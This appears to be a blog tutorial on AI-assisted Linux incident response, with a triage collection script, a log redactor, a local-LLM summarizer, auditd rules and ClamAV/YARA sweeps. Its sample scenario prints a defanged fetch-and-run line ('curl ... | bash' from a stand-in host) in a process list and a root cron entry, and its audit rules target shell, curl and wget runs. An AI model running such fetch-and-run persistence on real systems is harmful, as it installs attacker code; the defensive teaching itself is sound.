Posted on
• Artificial Intelligence

Artificial Intelligence Incident Response on Linux

Author
  • User
    linuxbash
    Posts by this author
    Posts by this author

Artificial Intelligence Incident Response on Linux: From Triage to Triage-Driven Decisions

Breaches don’t schedule meetings. They arrive at 2 a.m., drop cryptic artifacts, spike CPU load, and melt your alert queue. What if you could turn mountains of Linux telemetry into an actionable, prioritized plan in minutes—without shipping sensitive data off-host? This is where AI-assisted incident response (IR) on Linux shines.

In this guide, you’ll learn a practical, Bash-first workflow to:

  • Collect a reproducible triage bundle

  • Summarize it locally with AI

  • Tighten detection with auditd

  • Hunt for IOCs with common Linux tools You’ll get commands for apt, dnf, and zypper, plus copy-paste Bash you can adapt today.

Why AI for Incident Response on Linux

  • Volume: Even a single Linux host can emit thousands of lines of processes, sockets, and logs. AI can quickly highlight anomalies and common TTPs.

  • Time-to-triage: LLMs can triage, de-duplicate, and point you to likely root cause faster, especially during off-hours.

  • Consistency: AI-generated summaries produce structured, consistent notes useful for tickets and reports.

  • Privacy and control: With on-host models you can avoid pasting sensitive logs into cloud chats.

Important: AI is an assistant, not an arbiter. Validate all findings. Be mindful of privacy; redact secrets before analysis, and prefer local models when possible.

Prerequisites: Tools you’ll use

We’ll use standard utilities to collect evidence and scan for IOCs. Install them with your package manager.

Debian/Ubuntu (apt):

sudo apt update
sudo apt install -y jq lsof iproute2 net-tools auditd sysstat clamav yara

RHEL/CentOS/Alma/Rocky/Fedora (dnf):

sudo dnf install -y jq lsof iproute net-tools audit sysstat clamav yara

openSUSE/SLE (zypper):

sudo zypper refresh
sudo zypper install -y jq lsof iproute2 net-tools audit sysstat clamav yara

Optional notes:

  • ss comes with iproute/iproute2.

  • auditd service is provided by audit (dnf/zypper) or auditd (apt).

  • ClamAV signatures can be updated with freshclam (on Debian: clamav-freshclam; RHEL: clamav-update; SUSE: freshclam package).

For local AI inference, we’ll use Ollama (runs popular LLMs locally):

Linux (official installer):

curl -fsSL https://ollama.com/install.sh | sh
# Start/enable service if needed
sudo systemctl enable --now ollama
# Pull a small, capable model (choose one that fits your hardware)
ollama pull llama3:8b

1) Build a minimal, reproducible triage bundle

This script collects system state into a timestamped directory, then tars it. It’s read-only and avoids invasive actions.

#!/usr/bin/env bash
# linux-ai-ir-triage.sh
set -euo pipefail

TS="$(date -u +%Y%m%dT%H%M%SZ)"
HOST="$(hostname -f 2>/dev/null || hostname)"
OUT="/var/tmp/ir-${HOST}-${TS}"
mkdir -p "$OUT"

log() { echo "[$(date -Is)] $*" >&2; }

log "Collecting base system info..."
{
  echo "=== uname ==="; uname -a
  echo; echo "=== date ==="; date -Is
  echo; echo "=== uptime ==="; uptime
  echo; echo "=== who ==="; who -a
  echo; echo "=== last (recent) ==="; last -n 20 -a || true
} > "$OUT/system.txt"

log "Collecting process and services..."
ps -eo user,pid,ppid,%cpu,%mem,lstart,cmd --sort=-%cpu > "$OUT/ps.txt"
systemctl list-units --type=service --state=running > "$OUT/services.txt" || true

log "Collecting network state..."
ss -tulpn > "$OUT/sockets.txt" || true
ip a > "$OUT/ip_addr.txt" || true
ip route > "$OUT/ip_route.txt" || true

log "Collecting open files..."
lsof -nP > "$OUT/lsof.txt" || true

log "Collecting scheduled tasks..."
{
  echo "=== per-user crontab (current user) ==="
  crontab -l 2>/dev/null || true
  echo; echo "=== system cron dirs ==="
  ls -la /etc/cron* 2>/dev/null || true
} > "$OUT/cron.txt"

log "Collecting kernel modules and suid/sgid files..."
lsmod > "$OUT/lsmod.txt" || true
# SUID/SGID (may take time; stays on root fs)
find / -xdev -type f \( -perm -4000 -o -perm -2000 \) -printf '%m %u %g %s %TY-%Tm-%Td %TH:%TM %p\n' 2>/dev/null > "$OUT/suid_sgid.txt" || true

log "Recent tmp files (7 days) and hashes..."
find /tmp /var/tmp -xdev -type f -mtime -7 -print0 2>/dev/null | xargs -0 -r sha256sum > "$OUT/tmp_hashes.txt" || true

log "Journal (last 24h)..."
journalctl --since "-24h" -o short-iso > "$OUT/journal_24h.txt" || true

log "Basic user/group info..."
awk -F: '{print $1":"$3":"$7}' /etc/passwd > "$OUT/passwd_basic.txt" || true
cp /etc/sudoers "$OUT/sudoers.txt" 2>/dev/null || true

log "Packaging..."
TAR="/var/tmp/${HOST}-${TS}-triage.tgz"
tar -C "$(dirname "$OUT")" -czf "$TAR" "$(basename "$OUT")"

log "Done. Bundle: $TAR"
echo "$TAR"

Usage:

chmod +x linux-ai-ir-triage.sh
sudo ./linux-ai-ir-triage.sh

Tip: Keep your collection minimal and consistent. Add or remove sections as your environment demands.

2) Summarize and prioritize with a local LLM

Before summarizing, redact obvious secrets. Here’s a quick redactor and an AI summarizer using Ollama.

Redact PII-like tokens:

#!/usr/bin/env bash
# redact.sh
set -euo pipefail
in="${1:?input file}"
sed -E \
  -e 's/[0-9]{1,3}(\.[0-9]{1,3}){3}/<IP>/g' \
  -e 's/[A-Fa-f0-9:]{2,}:[A-Fa-f0-9:]{2,}/<MAC_OR_IPV6>/g' \
  -e 's/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/<EMAIL>/g' \
  "$in"

Summarize key artifacts:

#!/usr/bin/env bash
# ai-annotate-triage.sh
set -euo pipefail
DIR="${1:?triage directory (extracted)}"
MODEL="${2:-llama3:8b}"

redact() { ./redact.sh "$1" 2>/dev/null || cat "$1"; }

# Truncate long files to keep prompts small
short() { head -n "${3:-500}" "$1" 2>/dev/null | ./redact.sh /dev/stdin; }

PROMPT=$(cat <<'EOF'
You are an incident responder. From the provided Linux triage snippets:

- Identify suspicious processes, sockets, cron entries, SUID/SGID anomalies

- Propose top 5 hypotheses with confidence (0–100)

- List immediate containment steps (no destructive actions)

- Output JSON with keys: findings, hypotheses, containment, iocs
Keep answers concise and focused on likely root cause.
EOF
)

DATA=$(
  echo "=== ps ==="; short "$DIR/ps.txt" 300
  echo; echo "=== sockets ==="; short "$DIR/sockets.txt" 200
  echo; echo "=== cron ==="; short "$DIR/cron.txt" 150
  echo; echo "=== journal_24h ==="; short "$DIR/journal_24h.txt" 200
  echo; echo "=== suid_sgid ==="; short "$DIR/suid_sgid.txt" 150
  echo; echo "=== tmp_hashes ==="; short "$DIR/tmp_hashes.txt" 150
)

printf "%s\n\n%s\n" "$PROMPT" "$DATA" | ollama run "$MODEL"

Usage:

# Extract your triage bundle somewhere, then:
./ai-annotate-triage.sh /var/tmp/ir-<host>-<timestamp>

This produces an AI-generated JSON-like report you can paste into a ticket. Swap models to fit your hardware. Keep processing on-host to preserve privacy.

3) Add real-time detection with auditd (and AI-assisted triage)

Install and enable auditd, then add a few high-signal rules.

Debian/Ubuntu:

sudo systemctl enable --now auditd

RHEL/Fedora/CentOS/openSUSE/SLE:

sudo systemctl enable --now auditd

Create focused rules:

sudo bash -c 'cat >/etc/audit/rules.d/ir.rules << "EOF"
# Watch sensitive files
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/sudoers -p wa -k sudo
-w /etc/ssh/sshd_config -p wa -k sshd_config
-w /etc/cron.d -p wa -k cron
-w /var/spool/cron -p wa -k cron

# Track suspicious executions (both 32/64-bit where applicable)
-a always,exit -F arch=b64 -S execve -F euid=0 -k exec_as_root
-a always,exit -F arch=b32 -S execve -F euid=0 -k exec_as_root

# Shell and curl/wget executions (common in intrusion chains)
-a always,exit -F arch=b64 -S execve -F exe=/bin/sh -k shell
-a always,exit -F arch=b64 -S execve -F exe=/bin/bash -k shell
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/curl -k netclient
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/wget -k netclient
EOF
augenrules --load'

Query and summarize:

# Recent changes to cron or passwd
sudo ausearch -k cron --start recent
sudo ausearch -k identity --start recent

# Top events by key
sudo aureport --summary

Optionally, stream audit logs through your AI summarizer for periodic “what changed?” digests:

sudo ausearch --start recent -i | ./redact.sh /dev/stdin | \
  awk 'NR<500' | ollama run llama3:8b -p "Summarize notable security-relevant changes and recommend verification steps."

4) Quick IOC sweep with ClamAV and YARA

These scans won’t replace full forensics, but they can surface obvious malware and patterns quickly.

ClamAV quick sweep:

# Update signatures if available; ignore errors if updater not installed
sudo freshclam || true

# Scan common hot zones
sudo clamscan -ri /tmp /var/tmp /home --max-filesize=50M --max-scansize=200M | tee /var/tmp/clamav_scan.txt

YARA (if you maintain rules):

# Example: scan with your ruleset directory
sudo yara -r /etc/yara /tmp /var/tmp /home 2>/dev/null | tee /var/tmp/yara_hits.txt

Feed suspicious lines back into your AI assistant for classification and prioritization:

awk '/FOUND/ {print}' /var/tmp/clamav_scan.txt | ollama run llama3:8b -p "Given these detections, classify severity (low/med/high) and suggest validation steps."

A quick real-world-ish example

Scenario: A user reports sluggishness after an SSH login. You run the triage script, then the AI summarizer.

Sample triage snippets (abbreviated):

=== ps ===
root  2143  1  25.3  1.2 Mon Jun  1 02:14:03 2026 /bin/sh -c curl -fsSL hxxp://example.tld/x.sh | bash
...
=== sockets ===
tcp LISTEN 0 128 0.0.0.0:61208 0.0.0.0:* users:(("bash",pid=2143,fd=3))
...
=== cron ===
* * * * * root bash -c "curl -fsSL hxxp://example.tld/x.sh | bash"  # added 2026-06-01

AI summary (abridged):

{
  "findings": [
    "Suspicious curl|bash execution (PID 2143)",
    "Unusual high-privilege cron executing network script every minute",
    "Ephemeral listener on TCP/61208 owned by bash"
  ],
  "hypotheses": [
    {"text": "Post-SSH payload retrieval and persistence via cron", "confidence": 85},
    {"text": "Reverse shell / C2 beacon on TCP/61208", "confidence": 70}
  ],
  "containment": [
    "Isolate host from egress",
    "Disable offending cron entry; capture copy before removal",
    "Kill PID 2143 and capture binary/script with sha256sum",
    "Collect network PCAP on 61208 for 5 minutes (if policy allows)"
  ],
  "iocs": ["example.tld", "TCP/61208", "curl|bash pattern in cron"]
}

From there, you validate the cron change, capture artifacts, and follow your escalation path. The point: AI compresses signal triage and nudges you toward the right checks faster.

Conclusion and next steps

AI won’t replace Linux IR fundamentals—but it will amplify them. By:

  • Standardizing triage

  • Summarizing locally with LLMs

  • Improving detection with auditd

  • Sweeping for IOCs quickly

…you cut time-to-decision when it matters most.

Call to action:

  • Drop these scripts into your IR repo and adapt them to your environment.

  • Stand up a local LLM (Ollama) on your jump box for privacy-preserving triage assistance.

  • Expand your auditd rules iteratively as you learn from incidents.

  • Integrate AI summaries into your ticketing templates for consistency.

If you want a ready-to-use starter kit, turn these snippets into a Makefile-driven “ir/” directory and run routine dry-runs. Breaches won’t wait—your runbooks shouldn’t either.

Related posts